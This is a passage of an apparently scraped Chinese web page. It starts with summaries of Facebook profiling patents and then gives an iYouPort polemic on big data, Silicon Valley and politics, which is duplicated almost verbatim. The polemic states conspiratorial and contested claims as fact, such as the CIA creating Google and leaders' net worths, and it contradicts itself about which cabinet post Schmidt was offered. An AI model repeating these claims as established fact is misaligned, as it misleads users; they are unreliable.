通过测量群集中用户对特定内容的点击率或测量群集中用户的负面反馈，来测试这些群集的可信度。除此之外，用户可以根据他们与页面、应用程序等的交互进入群集。

形成群和子群的过程使用几个不同的模块。首先，种子用户选择模块，其收集关于潜在种子（主要）用户的信息，并创建共有特定从属关系、兴趣或特征的用户的种子群集。在第一阶段，算法选择在其配置文件上明确声明这些属性的用户（如页面等）。但是，与用户相关的点赞、评论、签到等活动可用于聚类。

第二个模块用于根据群成员（已在群集中的用户）创建子群，方法是探索其活动和属性，并检查它们是否可以构成群的一部分。这些次要用户的数据收集过程类似于对种子用户使用的过程。

实体分析模块用于基于用户与页面或应用程序的交互来确定用户的属性。例如，如果有人支持某个政党，该算法假设他们会对某些类型的汽车感兴趣，因为大多数使用 Facebook 应用程序显示最近卖点的用户支持所述政党。该模块的作用是根据人们与之交互的对象以及最常与这些对象进行交互的用户类型，对人进行分组。

可以通过评估用户与其他用户的连接来确定用户的某些属性。这是由分析评分模块完成的。此模块通过评估用户与其他人的连接来确定用

户的特定属性。例如，如果用户与喜欢白葡萄酒的其他用户之间存在一些弱连接，并且与喜欢红葡萄酒的用户有更强的连接，则此模块将基于连接的强度（可能基于相互交互、签到、标签等）将主要用户视为喜欢红酒的用户。

一旦某些属性由前述四个模块确定，目标群集定义模块就生成共享相同属性的用户群集。群集用于投放特定类型的广告，但也用于特定的用户可能喜欢的内容定位。这样，除了产生收益之外，⚠ **Facebook** 还基于偏好控制一组算法建立起了用户的信息流—— 操纵了人们的认知。在某种程度上，这可以被视为审查制度。

使用上述模块形成群和子群作为完整流程的过程具有几个步骤。首先，用户基于类似的属性构建为子群; 然后识别该群的中心用户，并通过它们识别整个群的特征。然后，子群中的所有用户通过其属性的相似性对中央用户的相似性进行排序。最后，该子群被标记为一个完整的紧凑单元; 例如，喜欢红酒和哈利波特的人。

根据事件定位用户

「图」

该算法基于若干不同标准执行事件定向。可以指示用户与事件的关联的第一个也是最简单的标准就是在 Facebook 上创建的事件的 RSVP 选项。然而，由于用户可以回复 Yes，但没有参加活动，因此算法可以基于他们先前的出勤得分、他们的朋友出席人数、和一般事件历史、来计算他们是否真的会参加活动—— 这就是行为预测。

此外，该算法也使用其他输入，例如在活动场所登记、上传活动门票的照片、在外部网站上购买门票的记录、或在帖子中标记事件等等。事件定位用于从小型私人事件到全局事件的所有等级的事件—— 您现在能控制住自己想晒的欲望了吗？

更多：专利 WO2013074367（A2）

根据在线系统中的搜索结果定位用户

「图」

该算法利用查询用户输入到 Facebook 的搜索框中的东西。此算法的目的是为用户提供与其搜索查询相对应的内容。当使用在搜索框中输入查询时，编译匹配查询的结果，而算法尝试识别查询和结果中的结

构化节点。

然后，它检索与识别的结构化节点对应的内容，同时检索有关用户的信息。在将广告与用户的信息（即属性）匹配之后，它确定应该与查询的结果一起显示哪些广告。这实际上是在用户输入查询时发生的，因此很难将其视为结构良好的东西。

更多：专利 WO 2014099558 A2

常规估测

该算法通过以小时间隔分析用户在一段时间内的地理位置，来确定用户的例程。

该算法使用由移动设备提供的关于用户地理定位的数据，例如智能手机、平板电脑或笔记本电脑，或者安装在这些设备中的传感器，即 GPS 传感器、陀螺仪或指南针; 设备上安装的Facebook 应用程序收集必要的数据并将其提供给算法。

接下来，算法分析重复、或者在一周中的某一天的某个小时处于相同位置的用户。然后算法聚集这些地理位置; 之后，群集由与群集中的地理定位质心对应的位置标记。以这种方式，算法可以确定用户居住的地方，他们工作的地方，最爱去的地方等—— 也就是你的行踪。

更多：专利：WO 2014123982 A3

推断用户的家庭收入

该算法将用户映射到特定的收入范围。这是通过分析用户提供的信息，即 当前和过去的工作岗位、他们参加的当前和过去的教育机构、生活事件、家庭关系、和婚姻状况等，来完成的。

然而，由于用户能够向 Facebook 提供虚假信息，因此该算法进一步分析用户的行为，他们访问的网站、他们在线进行的购买等。该算法使用不同的技术将用户映射到特定范围中，包括图像分析以识别用户在上传的照片上使用的品牌、他们在帖子和搜索中使用品牌名称的频率等等。然后，这些信息用于使广告客户更容易按收入定位适当的目标群体。

更多：专利 US 8583471 B1

比较用户的财务交易

该算法所做的是通过共享类似的属性（例如年龄、位置、教育水平、工作位置等）来比较用户的购买习惯与该用户可以关联的一组用户的比较。算法分析搜索查询，访问 Facebook 和第三方网站上的外部网站和其他类型的交易。

使用此数据，该算法可以为用户提供以前的交易分析，但也可以预测未来的支出，例如，它可以通过将他以前的交易与具有相似兴趣的其他用户进行比较，来预测用户在旅行上花费的金额，比如 年龄相同、与主要用户居住在同一个城市的同群用户。

更多：专利 US 20140222636 A1

将相机与社交网络系统的用户相关联

该算法基于使用相同相机（即设备）拍摄的图片和/或视频来关联 Facebook 用户。当在 Facebook 上上传照片或视频时，用户界面、相机签名因算法而变红，并且用作上传使用相同设备（即相机）拍摄的照片或视频的用户的连接点。这可以用于检测虚假账户，具有多个账户的用户; 但也是为了社交图的目的，即推荐朋友、缩小你的视野、操纵你的认知。

更多：专利 US 8472662 B2

以上这些特色算法只是数百种不同算法中的几个例子，它们试图理解我们所有人的每一个动作和帖子，将我们分类为纳米子类别、并预测我们未来的行为。我们鼓励本文的读者自己探索可用的专利，并继续这项研究，以了解这一现象。

因为，这非常重要，关于我们如何才能摆脱这个魔掌的问题。它几乎铺天盖地了。

希望这些演示能给中国的积极人士一些提示，稍微用点心，揭露并不难。好运。〇

原文

国王们的晚宴 —— 这是一场看不见的政变 - iyouport

关于亚马逊、苹果、推特关于谷歌-监视资本主义的创始人监视资本主义的世界算法暴政

【2019年3月7日存档】大数据使政治消亡。这是一场看不见的政变，其目的是旨在清空民主的实质内容，仅仅只留下一个触摸不到的虚伪躯壳。剩下的，只有礼仪性的制度和由于“选举”而神圣化的约会……

> “在此之上，是高高耸立的、巨大无比的权力 …… 这就好像每天，权力让人们越来越少地使用自由意志，自由意志也变得越来越无用；权力把自由意志行动禁锢在狭小的空间里，它逐渐剥夺每个公民，一直到自己的使用也被剥夺”—— 法国著名政论思想家 *Alexis de Tocqueville*

如今所有人应该都还能记得，特朗普上台一开始便召集了所有硅谷巨头的会议，当时这一视频还被中国的社交媒体下载并流传。事实上它是有传统的。而且，并不简单。

2011年2月，白宫召集14为硅谷巨头参加奥巴马特地为他们举行的晚宴，他们无一缺席。当晚，奥巴马笑称，如果他能再次当选总统，就会任命当时的谷歌公司CEO埃里克施密特（Eric Emerson Schmidt）出任商务部部长。美国媒体将这场聚会称之为“国王们的晚宴”。

当时政府部门还在 Flickr.Fr 上发布了两张照片—— 这就是大数据权力的一个重要转折点。

由信息学家、同时也是预测分析专家 Rayid Ghani（当年仅24岁的埃森哲技术实验室带头人）指定了计划，在硅谷巨头的鼎力协助下，奥巴马在2012年再次赢得了大选。

其间，50多名信息学专家花了好几个月，在被称为“洞穴”的战场总部

秘密大厅闭门不出。他们的工作是处理网络上收集的几十亿甚至上百亿条数据，从中找出有可能支持奥巴马的选民。对于尚未决定投票给谁的公民，科学家们通过大数据把他们筛选出来并隔离，再用尽全部努力凭借最恰当的演讲对他们进行针对性游说，使他们转向支持奥巴马。

采用最优化的量身定制的门对门助选，显然得到了与众不同的效果。奥巴马的第一次当选也是在大数据公司的帮助下成功的。

这种“竞选”方法同样也启发了奥朗德的团队。在当时的法国大选期间，奥朗德效仿奥巴马的网络战场，建立了某种类似的“法式洞穴”。

- 关联：硅谷插手选举表明技术公司更加牢固地融入了政治镇压工具《硅谷巨头如何利用算法操纵墨西哥选举？》

一个多世纪以来，政客们都是借助民意调查研究机构提供的分析，向大众或多或少地许诺符合民意的论据和主张。而现在，有了大数据的帮助，政客们能够处理几十亿条数据并从中提取个人政治形象，这些形象由于政客们实施了这样或那样的决定而变得丰满。以前那种被调查者取样的工作不再存在了，人类已经进入了一个新的政治时代。

现今，大数据使我们能窥视到个人内心最深处的信仰，而作为交换，工具也能够影响最终的结果。就如奥巴马的选举，大数据对摇摆的选民进行的游说能够导致他们最终将选票投给谁。

谷歌能改变选举结果吗？如今每个人都应该知道，答案是肯定的。两名美国研究人员曾经做出过这样的实验，他们将2100名澳大利亚人分为三组，要求他们在虚假的搜索引擎上输入总理选举中两名候选人之一的名字，以使网络首页显示有利的、不利的、或是中立的结果。最终，根据搜索引擎数据的导向性，投票者中37%改变了最初的投票意愿。

- 关联：为什么谷歌给中国制作的过滤搜索引擎引起了美国用户《最准确的恐惧》？
- 操纵搜索结果以操纵人们思想的典型案例《为什么谷歌坚持蜻蜓计划》
- 大局观《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》

与传统媒体相比，搜索引擎具有无法比拟的影响力，正因为，如今所有人都在互联网上，网民对网上获得的信息量往往深信不疑，而同时

对报纸上和电视上的内容信任度越来越低—— 人们互相告诫着："消息是真是假你搜一下就知道了"。但是几乎没人能想到，你有可能搜不到切实的真相。因为算法被不透明的黑手控制着。由此，人们已经得出结论，搜索引擎对选举结果的影响已经构成了对民主体系的威胁。

这就是为什么要警惕谷歌—— 当一家不透明的公司使用不同的算法可以左右全球人类的大脑和行为时，反乌托邦已经到来。

也许奥巴马是第一位加入政治市场体系的大国总统，这个体系建立在对数据详尽完整的分析基础之上，能够对数字企业影响下的"民主社会"的任何偏差采取措施。

2015年，希拉里在宣布参选时就聘请了谷歌的"国民创新和社会影响"部门负责人斯蒂芬妮·汉农（Stephanie Hannon）协助其构建"在社交网络和数字时代与选民的新型关系"。

在希拉里的授意下，Stephanie Hannon 组建了一支程序员和工程师的大部队，这支队伍负责研发应用，以此来动员选民，增加战斗积极性，筹集资金。效果尤其显著，仅仅3个月内希拉里就破纪录地筹集到了4500万美元的竞选资金。

大数据公司不仅在说服选民方面起到了决定性的推动作用；并且，在上游领域，大数据公司通过算法亲自参与了竞选过程。民主党那次竞选的花费可能高达26亿美元。

政治和大数据巨头之间的关系显然不是单向的。大数据公司同样期待他们"选举"出的获胜者在投资方面给它们带来切实的回报，成为真正听从他们的木偶。对于政治阶层的屈从，大数据公司早有手段。

- 关联：开源调查 Facebook 的政治旋转门《深层政治：Facebook金字塔的人形肌理》于是，当剑桥分析公司事件爆发后，扎克伯格在国会受到的不是质问而是礼遇时，不必感觉奇怪。

并且，大数据公司和情报部门的融合保证了对政治人物不断增强的监视。这就是美国人讽刺的 deep state。

国家安全局通过算法将那些政治人物的小秘密和小勾当悉数记录下来，这要比令人生畏的联邦调查局局长 John Edgar Hoover 所做的要高效得多。作为国家机器的一部分，情报机构在和大数据公司合作后

变得无比强大—— 这就是 Snowden 揭露的东西。

- 关联：关于什么是“军事工业联合体”及其内幕《Spies for Hire》
- 真正做政治决策的是情报机构而不是白宫《United States overseas operations: Role of CIA—Jacob G. Hornberger》
- CIA 如何创造谷歌间谍全球《How The CIA Made Google》
- 《关于”五眼联盟”的最新披露文件：科技产业巨头为什么能成为巨头？》“今天主宰智能行业的许多公司都是当年通过向情报界提供技术服务和产品而开始的（否则他们没有今天这般强大）”，“大多数情报工作不是由政府机构执行的，而是私人情报公司，而且大部分工作涉及情报工作的另一个共同方面：欺骗”……
- 推荐一本书，最彻底地揭示这个互联网究竟是什么《监视谷》
- “帝国几乎放弃了对实际领土的诉求，但他们把目光转向了基础设施，以互联网的形式维持他们权力”；我们要对来自可信来源的时效性信息采取行动，而不是等着技术去整合分析和验证每个事实。如果只是等待，一切都会变的太晚……再推荐一本书《新黑暗时代：技术与未来的终结（New Dark Age: Technology and the End of the Future）》

大数据公司知晓我们所有人的意愿、我们的愿望、我们的期待，它们自以为能够甚至在我们开口之前就知道我们要说什么。

从大数据诞生那天起，权力已经不再掌握在民选的政治家手中。这就是为什么摩根士丹利投资银行副主席 Ruth Porat 拒绝了财政部副部长的职位，而选择就任谷歌公司的财政经理；也是为什么谷歌前CEO Eric Emerson Schmidt 拒绝接受奥巴马许诺的财政部长职位。

和中国的BAT一样，硅谷的赌注是对大数据的掌握和管理，它们摆脱了政治论战，专注于成绩，用算法替代法律法规。

《To Save Everything, Click Here: The Folly of Technological Utopianism》一书的作者 叶夫根尼·莫罗佐夫（Evgeny Morozov）曾经最先揭示了大数据获取权力和政治消亡的过程。这本书在这里下载：https://t.me/iyouport/6462

他说：“智能世界除了令我们的生活更加便捷，还将我们置于有趣的政治选择面前。既然大数据能够获取和分析我们日常生活中如此多的行为，那么为什么我们不能使用超出规则之外的非经验论的研究方法呢？既然我们有了摄像头和反馈回路，为什么还要依照法律？”

- 关联：全球政府不断增长的自动化已经不再是科幻。相反，这是我们刚刚开始掌握的现实。那么问题是，我们可以用机器人取代政治家吗？答案是肯定的。《政治的未来：当机器决定“民主”？》
- 关于我们如何被算法操纵《定制人终结民主》

大数据使政治消亡。这是一场看不见的政变，其目的是旨在清空民主的实质内容，仅仅只留下一个触摸不到的虚伪躯壳。剩下的，只有礼仪性的制度和由于选举而神圣化的约会。

公民资格只是个古希腊遗留下来的、过时的术语；而在雅典，公民曾经是庄严的中心，在那时，履行公民义务是日常生活中重要的组成部分。意大利政治思想家 Giorgio Agamben 在《外交世界》一书中写道：“从此，公民权利被限制在司法领域，公民行驶投票权越来越像做民意调查”。更何况，人们已经观察到越来越多的去政治化现象，它们只是和大数据公司做生意，而大数据公司希望“公民”这个概念消亡，留下来的，只是大数据的消费者。

- 关联：欧亚集团主席 Ian Bremmer 出了本新书 “Us vs Them”，目前正在做宣传，电讯报对他的一篇采访的标题是：“大数据技术正在扼杀西方民主—并赋予威权国家新的生机”。《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》

当奥巴马振奋地宣布“我们拥有互联网”时，他表达的是一个全新的事实：国家权力正建立在大数据巨人的肩膀上。目前的中国也一样，这就是为什么我们一直在使用“高堡奇人”来形容这场帝国争霸战，当全球所有人使用的几乎所有硬件、软件和服务不是美国的就是中国的时，高堡奇人就形成了—— 这里并没有侵占其他国家领土的战斗，而是，更重要的，它们在通过大数据控制整个世界。

- 关联：帝国几乎放弃了对实际领土的诉求，但他们把目光转向了基础设施，以互联网的形式维持他们权力” ……我们要对来自可信来源的时效性信息采取行动，而不是等着技术去整合分析和验证每个事实。如果只是等待，一切都会变的太晚《新黑暗时代》

互联网经济是全球化的重要部分。没有任何国境能够限制它，互联网经济的领导者期望政治阶层对其听之任之，这样他们就可以减少税收，自由自在地享受治外法权带来的好处。

2015年的第一季度，苹果公司的盈利就达到了创纪录的180亿美元，从未有哪家公司在三个月内就能实现如此丰厚的利润。和苹果公司主要利润一样，这些金额也是在美国本土之外的避税天堂进行申报的。如果在美国本土，大量的财富会由于纳税而蒸发。在纳税人的强烈要求之下，国会不得不传唤库克作证，尽管这就像一出虚假的闹剧。历史学家奥玛拉评价说："美国见证了一场超现实主义听证会，这在美国企业历史上的确是一个特别的时刻"。

《数字乌托邦：从反主流文化到赛博文化》的作者、斯坦福大学社会学家 Fred Turner 曾经指出，大数据公司们不希望严格的规章制度存在，因为它们能够比政府更有效地制定这些规则。它们拥有极度受市场驱使的权力，希望不受任何规章限制，能够买卖一切。这条路是畅通无阻的，由于无尽的贪欲，财富的积累飞速。反过来，他们再用金钱操控政治。

2015年7月，由于股票升值，谷歌的两位联合创始人 Larry Page 和 Sergey Brin 一天之内每人的资产就各自增值了40亿美元。Eric Schmidt 向世人许诺，高科技公司是"解决经济不平等问题的一剂良方"，这位身家估算超过100亿美元的谷歌前执行主席宣称科技项目在改善非洲教育问题和糖尿病健康方面做出了贡献 ……

2018年3月，"福布斯" 报道称已经从72个国家和地区确定了 2,208 位亿万富翁。总的来说，这个群体价值 9.1万亿美元，自去年以来再次增加了18%的财富。自20世纪80年代以来，全球人均收入比例大幅下降，从而加剧了财富的不平等；而财富的进一步集中又导致了全球经济不平等程度的不断上升。

很难理解为什么亿万富翁认为他们需要拥有如此巨额的资金并获得更多收益。毕竟，他们不可能吃喝更多了，就像他们肯定拥有他们可能使用的所有豪宅，游艇，钻石，毛皮和私人飞机一样，他们还想要什么？

当然，要的是政治权力。

亿万富翁将巨大的精力和资金用于控制政府。美国参议员伯尼桑德斯说："他们没有把自己的财富放在床垫下面。他们利用这些财富来维持他们的权力。所以你有科赫兄弟和少数亿万富翁投入的数亿美元参选。" 在2018年美国中期选举期间，美国亿万富翁在选举政治上投入了大量资金，成为众多候选人的主要资助者。**Sheldon Adelson** 一个人就在联邦选举中投入了**1.13**亿美元。

因此，虽然民意调查显示，大多数美国人赞成对富人提高税收，但共和党主导的白宫、国会、最高法院和监管机构都采取了完全相反的方向，以支持富人为优先事项。

由于存在如此多的利害关系，亿万富翁甚至直接控制了世界三大强国。唐纳德特朗普成为第一位获得美国总统职位的亿万富翁，加入了俄罗斯的弗拉基米尔普京（据称已经积累了至少700亿美元的财富）和中国的习近平（估计净资产为15.1亿美元）。这三位寡头很快建立了友好的关系，并分享了一些政策立场，包括鼓励财富获取和挫败人权。

Frank Pasquale 曾经说，如果大数据公司在税收、竞争权、保护个人隐私方面能够在法律框架内运行，那么会是非常完美的，而如今，由于他们与政府精英的关系如此亲密，硅谷、金融界、情报部门已经越来越紧密地结合成为一个整体，即 军事工业综合体—— 这是一头庞大的怪兽。

这头怪兽憧憬着未来的绝对不平等和全民监视，并且伪装成非常友善的面孔，这个可怕的怪物庇护着至高无上的权力，并在它自己创造的时代英雄身上得到了体现。

就如 Shoshana Zuboff 所说，工业文明以牺牲自然为代价而蓬勃发展，而现在我们受到的威胁是，由监视资本主义及其新的工具权力所塑造的信息文明将以牺牲人性为代价而茁壮成长，并将抹杀我们的人性。

只有反抗才能使人类创新回到游戏的中心，保护敏感直觉的智力和生存。只有这样我们才能够在0和1构筑的世界里保持我们人性的部分。否则，我们将只剩下无可救药的、赤裸裸的、毫无隐私地生活。

原文

国王们的晚宴 —— 这是一场看不见的政变 - iYouPort

关于亚马逊、苹果、推特关于谷歌-监视资本主义的创始人监视资本主义的世界算法暴政

大数据使政治消亡。这是一场看不见的政变，其目的是旨在清空民主的实质内容，仅仅只留下一个触摸不到的虚伪躯壳。剩下的，只有礼仪性的制度和由于“选举”而神圣化的约会……

「图」

「图」

> “在此之上，是高高耸立的、巨大无比的权力 …… 这就好像每天，权力让人们越来越少地使用自由意志，自由意志也变得越来越无用；权力把自由意志行动禁锢在狭小的空间里，它逐渐剥夺每个公民，一直到自己的使用也被剥夺”—— 法国著名政论思想家 *Alexis de Tocqueville*

如今所有人应该都还能记得，特朗普上台一开始便召集了所有硅谷巨头的会议，当时这一视频还被中国的社交媒体下载并流传。事实上它是有传统的。而且，并不简单。

2011年2月，白宫召集14为硅谷巨头参加奥巴马特地为他们举行的晚宴，他们无一缺席。当晚，奥巴马笑称，如果他能再次当选总统，就会任命当时的谷歌公司CEO埃里克施密特（Eric Emerson Schmidt）出任商务部部长。美国媒体将这场聚会称之为“国王们的晚宴”。

当时政府部门还在 Flickr.Fr 上发布了两张照片—— 这就是大数据权力的一个重要转折点。

由信息学家、同时也是预测分析专家 Rayid Ghani（当年仅24岁的埃

森哲技术实验室带头人）指定了计划，在硅谷巨头的鼎力协助下，奥巴马在2012年再次赢得了大选。

其间，50多名信息学专家花了好几个月，在被称为“洞穴”的战场总部秘密大厅闭门不出。他们的工作是处理网络上收集的几十亿甚至上百亿条数据，从中找出有可能支持奥巴马的选民。对于尚未决定投票给谁的公民，科学家们通过大数据把他们筛选出来并隔离，再用尽全部努力凭借最恰当的演讲对他们进行针对性游说，使他们转向支持奥巴马。

采用最优化的量身定制的门对门助选，显然得到了与众不同的效果。奥巴马的第一次当选也是在大数据公司的帮助下成功的。

这种“竞选”方法同样也启发了奥朗德的团队。在当时的法国大选期间，奥朗德效仿奥巴马的网络战场，建立了某种类似的“法式洞穴”。

- 关联：硅谷插手选举表明技术公司更加牢固地融入了政治镇压工具《硅谷巨头如何利用算法操纵墨西哥选举？》

一个多世纪以来，政客们都是借助民意调查研究机构提供的分析，向大众或多或少地许诺符合民意的论据和主张。而现在，有了大数据的帮助，政客们能够处理几十亿条数据并从中提取个人政治形象，这些形象由于政客们实施了这样或那样的决定而变得丰满。以前那种被调查者取样的工作不再存在了，人类已经进入了一个新的政治时代。

现今，大数据使我们能窥视到个人内心最深处的信仰，而作为交换，工具也能够影响最终的结果。就如奥巴马的选举，大数据对摇摆的选民进行的游说能够导致他们最终将选票投给谁。

谷歌能改变选举结果吗？如今每个人都应该知道，答案是肯定的。两名美国研究人员曾经做出过这样的实验，他们将2100名澳大利亚人分为三组，要求他们在虚假的搜索引擎上输入总理选举中两名候选人之一的名字，以使网络首页显示有利的、不利的、或是中立的结果。最终，根据搜索引擎数据的导向性，投票者中37%改变了最初的投票意愿。

- 关联：为什么谷歌给中国制作的过滤搜索引擎引起了美国用户《最准确的恐惧》？
- 操纵搜索结果以操纵人们思想的典型案例《为什么谷歌坚持蜻蜓计划》
- 大局观《为什么技术有利于暴政？—— 一场你必须参与的政治

斗争》

与传统媒体相比，搜索引擎具有无法比拟的影响力，正因为，如今所有人都在互联网上，网民对网上获得的信息量往往深信不疑，而同时对报纸上和电视上的内容信任度越来越低—— 人们互相告诫着："消息是真是假你搜一下就知道了"。但是几乎没人能想到，你有可能搜不到切实的真相。因为算法被不透明的黑手控制着。由此，人们已经得出结论，搜索引擎对选举结果的影响已经构成了对民主体系的威胁。

这就是为什么要警惕谷歌—— 当一家不透明的公司使用不同的算法可以左右全球人类的大脑和行为时，反乌托邦已经到来。

也许奥巴马是第一位加入政治市场体系的大国总统，这个体系建立在对数据详尽完整的分析基础之上，能够对数字企业影响下的"民主社会"的任何偏差采取措施。

2015年，希拉里在宣布参选时就聘请了谷歌的"国民创新和社会影响"部门负责人斯蒂芬妮·汉农（Stephanie Hannon）协助其构建"在社交网络和数字时代与选民的新型关系"。

在希拉里的授意下，Stephanie Hannon 组建了一支程序员和工程师的大部队，这支队伍负责研发应用，以此来动员选民，增加战斗积极性，筹集资金。效果尤其显著，仅仅3个月内希拉里就破纪录地筹集到了4500万美元的竞选资金。

大数据公司不仅在说服选民方面起到了决定性的推动作用；并且，在上游领域，大数据公司通过算法亲自参与了竞选过程。民主党那次竞选的花费可能高达26亿美元。

政治和大数据巨头之间的关系显然不是单向的。大数据公司同样期待他们"选举"出的获胜者在投资方面给它们带来切实的回报，成为真正听从他们的木偶。对于政治阶层的屈从，大数据公司早有手段。

- 关联：开源调查 Facebook 的政治旋转门《深层政治：Facebook金字塔的人形肌理》于是，当剑桥分析公司事件爆发后，扎克伯格在国会受到的不是质问而是礼遇时，不必感觉奇怪。

并且，大数据公司和情报部门的融合保证了对政治人物不断增强的监视。这就是美国人讽刺的 deep state。

国家安全局通过算法将那些政治人物的小秘密和小勾当悉数记录下来，这要比令人生畏的联邦调查局局长 John Edgar Hoover 所做的要高效得多。作为国家机器的一部分，情报机构在和大数据公司合作后变得无比强大—— 这就是 Snowden 揭露的东西。

- 关联：关于什么是“军事工业联合体”及其内幕《Spies for Hire》
- 真正做政治决策的是情报机构而不是白宫《United States overseas operations: Role of CIA—Jacob G. Hornberger》
- CIA 如何创造谷歌间谍全球《How The CIA Made Google》
- 《关于”五眼联盟”的最新披露文件：科技产业巨头为什么能成为巨头？》“今天主宰智能行业的许多公司都是当年通过向情报界提供技术服务和产品而开始的（否则他们没有今天这般强大）”，“大多数情报工作不是由政府机构执行的，而是私人情报公司，而且大部分工作涉及情报工作的另一个共同方面：欺骗”……
- 推荐一本书，最彻底地揭示这个互联网究竟是什么《监视谷》
- “帝国几乎放弃了对实际领土的诉求，但他们把目光转向了基础设施，以互联网的形式维持他们权力”；我们要对来自可信来源的时效性信息采取行动，而不是等着技术去整合分析和验证每个事实。如果只是等待，一切都会变的太晚……再推荐一本书《新黑暗时代：技术与未来的终结（New Dark Age: Technology and the End of the Future）》

大数据公司知晓我们所有人的意愿、我们的愿望、我们的期待，它们自以为能够甚至在我们开口之前就知道我们要说什么。

从大数据诞生那天起，权力已经不再掌握在民选的政治家手中。这就是为什么摩根士丹利投资银行副主席 Ruth Porat 拒绝了财政部副部长的职位，而选择就任谷歌公司的财政经理；也是为什么谷歌前CEO Eric Emerson Schmidt 拒绝接受奥巴马许诺的财政部长职位。

和中国的BAT一样，硅谷的赌注是对大数据的掌握和管理，它们摆脱了政治论战，专注于成绩，用算法替代法律法规。

「图」

「图」

《To Save Everything, Click Here: The Folly of Technological Utopianism》一书的作者 叶夫根尼·莫罗佐夫（Evgeny Morozov）曾

经最先揭示了大数据获取权力和政治消亡的过程。这本书在这里下载：https://t.me/iyouport/6462

他说："智能世界除了令我们的生活更加便捷，还将我们置于有趣的政治选择面前。既然大数据能够获取和分析我们日常生活中如此多的行为，那么为什么我们不能使用超出规则之外的非经验论的研究方法呢？既然我们有了摄像头和反馈回路，为什么还要依照法律？"

- 关联：全球政府不断增长的自动化已经不再是科幻。相反，这是我们刚刚开始掌握的现实。那么问题是，我们可以用机器人取代政治家吗？答案是肯定的。《政治的未来：当机器决定"民主"？》
- 关于我们如何被算法操纵《定制人终结民主》

大数据使政治消亡。这是一场看不见的政变，其目的是旨在清空民主的实质内容，仅仅只留下一个触摸不到的虚伪躯壳。剩下的，只有礼仪性的制度和由于选举而神圣化的约会。

公民资格只是个古希腊遗留下来的、过时的术语；而在雅典，公民曾经是庄严的中心，在那时，履行公民义务是日常生活中重要的组成部分。意大利政治思想家 Giorgio Agamben 在《外交世界》一书中写道："从此，公民权利被限制在司法领域，公民行驶投票权越来越像做民意调查"。更何况，人们已经观察到越来越多的去政治化现象，它们只是和大数据公司做生意，而大数据公司希望"公民"这个概念消亡，留下来的，只是大数据的消费者。

- 关联：欧亚集团主席 Ian Bremmer 出了本新书 "Us vs Them"，目前正在做宣传，电讯报对他的一篇采访的标题是："大数据技术正在扼杀西方民主—并赋予威权国家新的生机"。《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》

当奥巴马振奋地宣布"我们拥有互联网"时，他表达的是一个全新的事实：国家权力正建立在大数据巨人的肩膀上。目前的中国也一样，这就是为什么我们一直在使用"高堡奇人"来形容这场帝国争霸战，当全球所有人使用的几乎所有硬件、软件和服务不是美国的就是中国的时，高堡奇人就形成了—— 这里并没有侵占其他国家领土的战斗，而是，更重要的，它们在通过大数据控制整个世界。

- 关联：帝国几乎放弃了对实际领土的诉求，但他们把目光转向了基础设施，以互联网的形式维持他们权力" ……我们要对来

> 自可信来源的时效性信息采取行动，而不是等着技术去整合分析和验证每个事实。如果只是等待，一切都会变的太晚《新黑暗时代》

互联网经济是全球化的重要部分。没有任何国境能够限制它，互联网经济的领导者期望政治阶层对其听之任之，这样他们就可以减少税收，自由自在地享受治外法权带来的好处。

2015年的第一季度，苹果公司的盈利就达到了创纪录的180亿美元，从未有哪家公司在三个月内就能实现如此丰厚的利润。和苹果公司主要利润一样，这些金额也是在美国本土之外的避税天堂进行申报的。如果在美国本土，大量的财富会由于纳税而蒸发。在纳税人的强烈要求之下，国会不得不传唤库克作证，尽管这就像一出虚假的闹剧。历史学家奥玛拉评价说："美国见证了一场超现实主义听证会，这在美国企业历史上的确是一个特别的时刻"。

《数字乌托邦：从反主流文化到赛博文化》的作者、斯坦福大学社会学家 Fred Turner 曾经指出，大数据公司们不希望严格的规章制度存在，因为它们能够比政府更有效地制定这些规则。它们拥有极度受市场驱使的权力，希望不受任何规章限制，能够买卖一切。这条路是畅通无阻的，由于无尽的贪欲，财富的积累飞速。反过来，他们再用金钱操控政治。

2015年7月，由于股票升值，谷歌的两位联合创始人 Larry Page 和 Sergey Brin 一天之内每人的资产就各自增值了40亿美元。Eric Schmidt 向世人许诺，高科技公司是"解决经济不平等问题的一剂良方"，这位身家估算超过100亿美元的谷歌前执行主席宣称科技项目在改善非洲教育问题和糖尿病健康方面做出了贡献 ……

2018年3月，"福布斯" 报道称已经从72个国家和地区确定了 2,208 位亿万富翁。总的来说，这个群体价值 9.1万亿美元，自去年以来再次增加了18%的财富。自20世纪80年代以来，全球人均收入比例大幅下降，从而加剧了财富的不平等；而财富的进一步集中又导致了全球经济不平等程度的不断上升。

很难理解为什么亿万富翁认为他们需要拥有如此巨额的资金并获得更多收益。毕竟，他们不可能吃喝更多了，就像他们肯定拥有他们可能使用的所有豪宅，游艇，钻石，毛皮和私人飞机一样，他们还想要什么？

当然，要的是政治权力。

亿万富翁将巨大的精力和资金用于控制政府。美国参议员伯尼桑德斯说：“他们没有把自己的财富放在床垫下面。他们利用这些财富来维持他们的权力。所以你有科赫兄弟和少数亿万富翁投入的数亿美元参选。“ 在2018年美国中期选举期间，美国亿万富翁在选举政治上投入了大量资金，成为众多候选人的主要资助者。**Sheldon Adelson** 一个人就在联邦选举中投入了**1.13**亿美元。

因此，虽然民意调查显示，大多数美国人赞成对富人提高税收，但共和党主导的白宫、国会、最高法院和监管机构都采取了完全相反的方向，以支持富人为优先事项。

由于存在如此多的利害关系，亿万富翁甚至直接控制了世界三大强国。唐纳德特朗普成为第一位获得美国总统职位的亿万富翁，加入了俄罗斯的弗拉基米尔普京（据称已经积累了至少700亿美元的财富）和中国的习近平（估计净资产为15.1亿美元）。这三位寡头很快建立了友好的关系，并分享了一些政策立场，包括鼓励财富获取和挫败人权。

Frank Pasquale 曾经说，如果大数据公司在税收、竞争权、保护个人隐私方面能够在法律框架内运行，那么会是非常完美的，而如今，由于他们与政府精英的关系如此亲密，硅谷、金融界、情报部门已经越来越紧密地结合成为一个整体，即 军事工业综合体—— 这是一头庞大的怪兽。

这头怪兽憧憬着未来的绝对不平等和全民监视，并且伪装成非常友善的面孔，这个可怕的怪物庇护着至高无上的权力，并在它自己创造的时代英雄身上得到了体现。

就如 Shoshana Zuboff 所说，工业文明以牺牲自然为代价而蓬勃发展，而现在我们受到的威胁是，由监视资本主义及其新的工具权力所塑造的信息文明将以牺牲人性为代价而茁壮成长，并将抹杀我们的人性。

